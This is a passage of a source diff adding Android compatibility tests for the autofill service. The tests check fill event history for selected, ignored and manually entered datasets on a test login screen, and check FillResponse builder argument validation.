+ final UiObject2 datasetPicker = sUiBot.assertDatasets("dataset1", "dataset2");
+ sUiBot.selectDataset(datasetPicker, "dataset1");
+ mActivity.assertAutoFilled();
+
+ // Verify dataset selection
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+ }
+
+ // Finish the context by login in
+ mActivity.onUsername((v) -> v.setText("USERNAME"));
+ mActivity.onPassword((v) -> v.setText("USERNAME"));
+
+ final String expectedMessage = getWelcomeMessage("USERNAME");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // ...and check again
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+ }
+ }
+
+ @Test
+ public void testContextCommitted_idlessDatasetSelected_datasetWithIdIgnored()
+ throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "username1")
+ .setField(ID_PASSWORD, "password1")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setId("id2")
+ .setField(ID_USERNAME, "username2")
+ .setField(ID_PASSWORD, "password2")
+ .setPresentation(createPresentation("dataset2"))
+ .build())
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .build());
+ mActivity.expectAutoFill("username1", "password1");
+
+ // Trigger autofill on username
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ final UiObject2 datasetPicker = sUiBot.assertDatasets("dataset1", "dataset2");
+ sUiBot.selectDataset(datasetPicker, "dataset1");
+ mActivity.assertAutoFilled();
+
+ // Verify dataset selection
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+ }
+
+ // Finish the context by login in
+ mActivity.onPassword((v) -> v.setText("username1"));
+
+ final String expectedMessage = getWelcomeMessage("username1");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // ...and check again
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(2);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+
+ FillEventHistory.Event event2 = events.get(1);
+ assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+ assertThat(event2.getDatasetId()).isNull();
+ assertThat(event2.getClientState()).isNull();
+ assertThat(event2.getSelectedDatasetIds()).isEmpty();
+ assertThat(event2.getIgnoredDatasetIds()).containsExactly("id2");
+ final AutofillId passwordId = mActivity.getPassword().getAutofillId();
+ final Map<AutofillId, String> changedFields = event2.getChangedFields();
+ assertThat(changedFields).containsExactly(passwordId, "id2");
+ assertThat(event2.getManuallyEnteredField()).isEmpty();
+ }
+ }
+
+ @Test
+ public void testContextCommitted_idlessDatasetIgnored_datasetWithIdSelected()
+ throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "username1")
+ .setField(ID_PASSWORD, "password1")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setId("id2")
+ .setField(ID_USERNAME, "username2")
+ .setField(ID_PASSWORD, "password2")
+ .setPresentation(createPresentation("dataset2"))
+ .build())
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .build());
+ mActivity.expectAutoFill("username2", "password2");
+
+ // Trigger autofill on username
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ final UiObject2 datasetPicker = sUiBot.assertDatasets("dataset1", "dataset2");
+ sUiBot.selectDataset(datasetPicker, "dataset2");
+ mActivity.assertAutoFilled();
+
+ // Verify dataset selection
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "id2");
+ }
+
+ // Finish the context by login in
+ mActivity.onPassword((v) -> v.setText("username2"));
+
+ final String expectedMessage = getWelcomeMessage("username2");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // ...and check again
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(2);
+ assertFillEventForDatasetSelected(events.get(0), "id2");
+
+ final FillEventHistory.Event event2 = events.get(1);
+ assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+ assertThat(event2.getDatasetId()).isNull();
+ assertThat(event2.getClientState()).isNull();
+ assertThat(event2.getSelectedDatasetIds()).containsExactly("id2");
+ assertThat(event2.getIgnoredDatasetIds()).isEmpty();
+ final AutofillId passwordId = mActivity.getPassword().getAutofillId();
+ final Map<AutofillId, String> changedFields = event2.getChangedFields();
+ assertThat(changedFields).containsExactly(passwordId, "id2");
+ assertThat(event2.getManuallyEnteredField()).isEmpty();
+ }
+ }
+
+ /**
+ * Tests scenario where the context was committed, no dataset was selected by the user,
+ * neither the user entered values that were present in these datasets.
+ */
+ @Test
+ public void testContextCommitted_noDatasetSelected_valuesNotManuallyEntered() throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setId("id1")
+ .setField(ID_USERNAME, "username1")
+ .setField(ID_PASSWORD, "password1")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setId("id2")
+ .setField(ID_USERNAME, "username2")
+ .setField(ID_PASSWORD, "password2")
+ .setPresentation(createPresentation("dataset2"))
+ .build())
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .build());
+ // Trigger autofill on username
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("dataset1", "dataset2");
+
+ // Verify history
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ assertThat(selection.getEvents()).isNull();
+ }
+
+ // Enter values not present at the datasets
+ mActivity.onUsername((v) -> v.setText("USERNAME"));
+ mActivity.onPassword((v) -> v.setText("USERNAME"));
+
+ // Finish the context by login in
+ final String expectedMessage = getWelcomeMessage("USERNAME");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // Verify history again
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ }
+ }
+
+ /**
+ * Tests scenario where the context was committed, just one dataset was selected by the user,
+ * and the user changed the values provided by the service.
+ */
+ @Test
+ public void testContextCommitted_oneDatasetSelected() throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setId("id1")
+ .setField(ID_USERNAME, "username1")
+ .setField(ID_PASSWORD, "password1")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setId("id2")
+ .setField(ID_USERNAME, "username2")
+ .setField(ID_PASSWORD, "password2")
+ .setPresentation(createPresentation("dataset2"))
+ .build())
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .build());
+ mActivity.expectAutoFill("username1", "password1");
+
+ // Trigger autofill on username
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ final UiObject2 datasetPicker = sUiBot.assertDatasets("dataset1", "dataset2");
+ sUiBot.selectDataset(datasetPicker, "dataset1");
+ mActivity.assertAutoFilled();
+
+ // Verify dataset selection
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+ }
+
+ // Finish the context by login in
+ mActivity.onUsername((v) -> v.setText("USERNAME"));
+ mActivity.onPassword((v) -> v.setText("USERNAME"));
+
+ final String expectedMessage = getWelcomeMessage("USERNAME");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // ...and check again
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(2);
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+
+ final FillEventHistory.Event event2 = events.get(1);
+ assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+ assertThat(event2.getDatasetId()).isNull();
+ assertThat(event2.getClientState()).isNull();
+ assertThat(event2.getSelectedDatasetIds()).containsExactly("id1");
+ assertThat(event2.getIgnoredDatasetIds()).containsExactly("id2");
+ final Map<AutofillId, String> changedFields = event2.getChangedFields();
+ final AutofillId usernameId = mActivity.getUsername().getAutofillId();
+ final AutofillId passwordId = mActivity.getPassword().getAutofillId();
+ assertThat(changedFields).containsExactlyEntriesIn(
+ ImmutableMap.of(usernameId, "id1", passwordId, "id1"));
+ assertThat(event2.getManuallyEnteredField()).isEmpty();
+ }
+ }
+
+ /**
+ * Tests scenario where the context was committed, both datasets were selected by the user,
+ * and the user changed the values provided by the service.
+ */
+ @Test
+ public void testContextCommitted_multipleDatasetsSelected() throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setId("id1")
+ .setField(ID_USERNAME, "username")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setId("id2")
+ .setField(ID_PASSWORD, "password")
+ .setPresentation(createPresentation("dataset2"))
+ .build())
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .build());
+ mActivity.expectAutoFill("username");
+
+ // Trigger autofill
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ // Autofill username
+ sUiBot.selectDataset("dataset1");
+ mActivity.assertAutoFilled();
+ {
+ // Verify fill history
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+ }
+
+ // Autofill password
+ mActivity.expectPasswordAutoFill("password");
+
+ mActivity.onPassword(View::requestFocus);
+ sUiBot.selectDataset("dataset2");
+ mActivity.assertAutoFilled();
+
+ {
+ // Verify fill history
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(2);
+
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+ assertFillEventForDatasetSelected(events.get(1), "id2");
+ }
+
+ // Finish the context by login in
+ mActivity.onPassword((v) -> v.setText("username"));
+
+ final String expectedMessage = getWelcomeMessage("username");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ {
+ // Verify fill history
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(3);
+
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+ assertFillEventForDatasetSelected(events.get(1), "id2");
+
+ final FillEventHistory.Event event3 = events.get(2);
+ assertThat(event3.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+ assertThat(event3.getDatasetId()).isNull();
+ assertThat(event3.getClientState()).isNull();
+ assertThat(event3.getSelectedDatasetIds()).containsExactly("id1", "id2");
+ assertThat(event3.getIgnoredDatasetIds()).isEmpty();
+ final Map<AutofillId, String> changedFields = event3.getChangedFields();
+ final AutofillId passwordId = mActivity.getPassword().getAutofillId();
+ assertThat(changedFields).containsExactly(passwordId, "id2");
+ assertThat(event3.getManuallyEnteredField()).isEmpty();
+ }
+ }
+
+ /**
+ * Tests scenario where the context was committed, both datasets were selected by the user,
+ * and the user didn't change the values provided by the service.
+ */
+ @Test
+ public void testContextCommitted_multipleDatasetsSelected_butNotChanged() throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setId("id1")
+ .setField(ID_USERNAME, BACKDOOR_USERNAME)
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setId("id2")
+ .setField(ID_PASSWORD, "whatever")
+ .setPresentation(createPresentation("dataset2"))
+ .build())
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .build());
+ mActivity.expectAutoFill(BACKDOOR_USERNAME);
+
+ // Trigger autofill
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ // Autofill username
+ sUiBot.selectDataset("dataset1");
+ mActivity.assertAutoFilled();
+ {
+ // Verify fill history
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+ }
+
+ // Autofill password
+ mActivity.expectPasswordAutoFill("whatever");
+
+ mActivity.onPassword(View::requestFocus);
+ sUiBot.selectDataset("dataset2");
+ mActivity.assertAutoFilled();
+
+ {
+ // Verify fill history
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(2);
+
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+ assertFillEventForDatasetSelected(events.get(1), "id2");
+ }
+
+ // Finish the context by login in
+ final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ {
+ // Verify fill history
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(3);
+
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+ assertFillEventForDatasetSelected(events.get(1), "id2");
+
+ final FillEventHistory.Event event3 = events.get(2);
+ assertThat(event3.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+ assertThat(event3.getDatasetId()).isNull();
+ assertThat(event3.getClientState()).isNull();
+ assertThat(event3.getSelectedDatasetIds()).containsExactly("id1", "id2");
+ assertThat(event3.getIgnoredDatasetIds()).isEmpty();
+ assertThat(event3.getChangedFields()).isEmpty();
+ assertThat(event3.getManuallyEnteredField()).isEmpty();
+ }
+ }
+
+ /**
+ * Tests scenario where the context was committed, the user selected the dataset, than changed
+ * the autofilled values, but then change the values again so they match what was provided by
+ * the service.
+ */
+ @Test
+ public void testContextCommitted_oneDatasetSelected_Changed_thenChangedBack()
+ throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setId("id1")
+ .setField(ID_USERNAME, "username")
+ .setField(ID_PASSWORD, "username")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .build());
+ mActivity.expectAutoFill("username", "username");
+
+ // Trigger autofill on username
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ sUiBot.selectDataset("dataset1");
+ mActivity.assertAutoFilled();
+
+ // Verify dataset selection
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+ }
+
+ // Change the fields to different values from datasets
+ mActivity.onUsername((v) -> v.setText("USERNAME"));
+ mActivity.onPassword((v) -> v.setText("USERNAME"));
+
+ // Then change back to dataset values
+ mActivity.onUsername((v) -> v.setText("username"));
+ mActivity.onPassword((v) -> v.setText("username"));
+
+ final String expectedMessage = getWelcomeMessage("username");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // ...and check again
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(2);
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+
+ FillEventHistory.Event event2 = events.get(1);
+ assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+ assertThat(event2.getDatasetId()).isNull();
+ assertThat(event2.getClientState()).isNull();
+ assertThat(event2.getSelectedDatasetIds()).containsExactly("id1");
+ assertThat(event2.getIgnoredDatasetIds()).isEmpty();
+ assertThat(event2.getChangedFields()).isEmpty();
+ assertThat(event2.getManuallyEnteredField()).isEmpty();
+ }
+ }
+
+ /**
+ * Tests scenario where the context was committed, the user did not selected any dataset, but
+ * the user manually entered values that match what was provided by the service.
+ */
+ @Test
+ public void testContextCommitted_noDatasetSelected_butManuallyEntered()
+ throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setId("id1")
+ .setField(ID_USERNAME, BACKDOOR_USERNAME)
+ .setField(ID_PASSWORD, "NotUsedPassword")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setId("id2")
+ .setField(ID_USERNAME, "NotUserUsername")
+ .setField(ID_PASSWORD, "whatever")
+ .setPresentation(createPresentation("dataset2"))
+ .build())
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .build());
+ // Trigger autofill on username
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("dataset1", "dataset2");
+
+ // Verify history
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ assertThat(selection.getEvents()).isNull();
+ }
+
+ // Enter values present at the datasets
+ mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
+ mActivity.onPassword((v) -> v.setText("whatever"));
+
+ // Finish the context by login in
+ final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // Verify history
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ FillEventHistory.Event event = events.get(0);
+ assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+ assertThat(event.getDatasetId()).isNull();
+ assertThat(event.getClientState()).isNull();
+ assertThat(event.getSelectedDatasetIds()).isEmpty();
+ assertThat(event.getIgnoredDatasetIds()).containsExactly("id1", "id2");
+ assertThat(event.getChangedFields()).isEmpty();
+ final AutofillId usernameId = mActivity.getUsername().getAutofillId();
+ final AutofillId passwordId = mActivity.getPassword().getAutofillId();
+
+ final Map<AutofillId, Set<String>> manuallyEnteredFields =
+ event.getManuallyEnteredField();
+ assertThat(manuallyEnteredFields).isNotNull();
+ assertThat(manuallyEnteredFields.size()).isEqualTo(2);
+ assertThat(manuallyEnteredFields.get(usernameId)).containsExactly("id1");
+ assertThat(manuallyEnteredFields.get(passwordId)).containsExactly("id2");
+ }
+ }
+
+ /**
+ * Tests scenario where the context was committed, the user did not selected any dataset, but
+ * the user manually entered values that match what was provided by the service on different
+ * datasets.
+ */
+ @Test
+ public void testContextCommitted_noDatasetSelected_butManuallyEntered_matchingMultipleDatasets()
+ throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setId("id1")
+ .setField(ID_USERNAME, BACKDOOR_USERNAME)
+ .setField(ID_PASSWORD, "NotUsedPassword")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setId("id2")
+ .setField(ID_USERNAME, "NotUserUsername")
+ .setField(ID_PASSWORD, "whatever")
+ .setPresentation(createPresentation("dataset2"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setId("id3")
+ .setField(ID_USERNAME, BACKDOOR_USERNAME)
+ .setField(ID_PASSWORD, "whatever")
+ .setPresentation(createPresentation("dataset3"))
+ .build())
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .build());
+ // Trigger autofill on username
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("dataset1", "dataset2", "dataset3");
+
+ // Verify history
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ assertThat(selection.getEvents()).isNull();
+ }
+
+ // Enter values present at the datasets
+ mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
+ mActivity.onPassword((v) -> v.setText("whatever"));
+
+ // Finish the context by login in
+ final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // Verify history
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+
+ final FillEventHistory.Event event = events.get(0);
+ assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+ assertThat(event.getDatasetId()).isNull();
+ assertThat(event.getClientState()).isNull();
+ assertThat(event.getSelectedDatasetIds()).isEmpty();
+ assertThat(event.getIgnoredDatasetIds()).containsExactly("id1", "id2", "id3");
+ assertThat(event.getChangedFields()).isEmpty();
+ final AutofillId usernameId = mActivity.getUsername().getAutofillId();
+ final AutofillId passwordId = mActivity.getPassword().getAutofillId();
+
+ final Map<AutofillId, Set<String>> manuallyEnteredFields =
+ event.getManuallyEnteredField();
+ assertThat(manuallyEnteredFields.size()).isEqualTo(2);
+ assertThat(manuallyEnteredFields.get(usernameId)).containsExactly("id1", "id3");
+ assertThat(manuallyEnteredFields.get(passwordId)).containsExactly("id2", "id3");
+ }
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java b/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
new file mode 100644
index 0000000..c48eec1
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
@@ -0,0 +1,193 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.service.autofill.FillResponse.FLAG_DISABLE_ACTIVITY_ONLY;
+import static android.service.autofill.FillResponse.FLAG_TRACK_CONTEXT_COMMITED;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.service.autofill.Dataset;
+import android.service.autofill.FillResponse;
+import android.service.autofill.SaveInfo;
+import android.service.autofill.UserData;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnitRunner;
+
+@RunWith(MockitoJUnitRunner.class)
+public class FillResponseTest {
+
+ private final AutofillId mAutofillId = new AutofillId(42);
+ private final FillResponse.Builder mBuilder = new FillResponse.Builder();
+ private final AutofillId[] mIds = new AutofillId[] { mAutofillId };
+ private final SaveInfo mSaveInfo = new SaveInfo.Builder(0, mIds).build();
+ private final Bundle mClientState = new Bundle();
+ private final Dataset mDataset = new Dataset.Builder()
+ .setValue(mAutofillId, AutofillValue.forText("forty-two"))
+ .build();
+ private final long mDisableDuration = 666;
+ @Mock private RemoteViews mPresentation;
+ @Mock private IntentSender mIntentSender;
+
+ @Test
+ public void testBuilder_setAuthentication_invalid() {
+ // null ids
+ assertThrows(IllegalArgumentException.class,
+ () -> mBuilder.setAuthentication(null, mIntentSender, mPresentation));
+ // empty ids
+ assertThrows(IllegalArgumentException.class,
+ () -> mBuilder.setAuthentication(new AutofillId[] {}, mIntentSender,
+ mPresentation));
+ // null intent sender
+ assertThrows(IllegalArgumentException.class,
+ () -> mBuilder.setAuthentication(mIds, null, mPresentation));
+ // null presentation
+ assertThrows(IllegalArgumentException.class,
+ () -> mBuilder.setAuthentication(mIds, mIntentSender, null));
+ }
+
+ @Test
+ public void testBuilder_setAuthentication_valid() {
+ new FillResponse.Builder().setAuthentication(mIds, null, null);
+ new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
+ }
+
+ @Test
+ public void testBuilder_setFlag_invalid() {
+ assertThrows(IllegalArgumentException.class, () -> mBuilder.setFlags(-1));
+ }
+
+ @Test
+ public void testBuilder_setFlag_valid() {
+ mBuilder.setFlags(0);
+ mBuilder.setFlags(FLAG_TRACK_CONTEXT_COMMITED);
+ mBuilder.setFlags(FLAG_DISABLE_ACTIVITY_ONLY);
+ }
+
+ @Test
+ public void testBuilder_disableAutofill_invalid() {
+ assertThrows(IllegalArgumentException.class, () -> mBuilder.disableAutofill(0));
+ assertThrows(IllegalArgumentException.class, () -> mBuilder.disableAutofill(-1));
+ }
+
+ @Test
+ public void testBuilder_disableAutofill_valid() {
+ mBuilder.disableAutofill(mDisableDuration);
+ mBuilder.disableAutofill(Long.MAX_VALUE);
+ }
+
+ @Test
+ public void testBuilder_disableAutofill_mustBeTheOnlyMethodCalled() {
+ // No method can be called after disableAutofill()
+ mBuilder.disableAutofill(mDisableDuration);
+ assertThrows(IllegalStateException.class, () -> mBuilder.setSaveInfo(mSaveInfo));
+ assertThrows(IllegalStateException.class, () -> mBuilder.addDataset(mDataset));
+ assertThrows(IllegalStateException.class,
+ () -> mBuilder.setAuthentication(mIds, mIntentSender, mPresentation));
+ assertThrows(IllegalStateException.class,
+ () -> mBuilder.setFieldClassificationIds(mAutofillId));
+ assertThrows(IllegalStateException.class,
+ () -> mBuilder.setClientState(mClientState));
+
+ // And vice-versa...
+ final FillResponse.Builder builder1 = new FillResponse.Builder().setSaveInfo(mSaveInfo);
+ assertThrows(IllegalStateException.class, () -> builder1.disableAutofill(mDisableDuration));
+ final FillResponse.Builder builder2 = new FillResponse.Builder().addDataset(mDataset);
+ assertThrows(IllegalStateException.class, () -> builder2.disableAutofill(mDisableDuration));
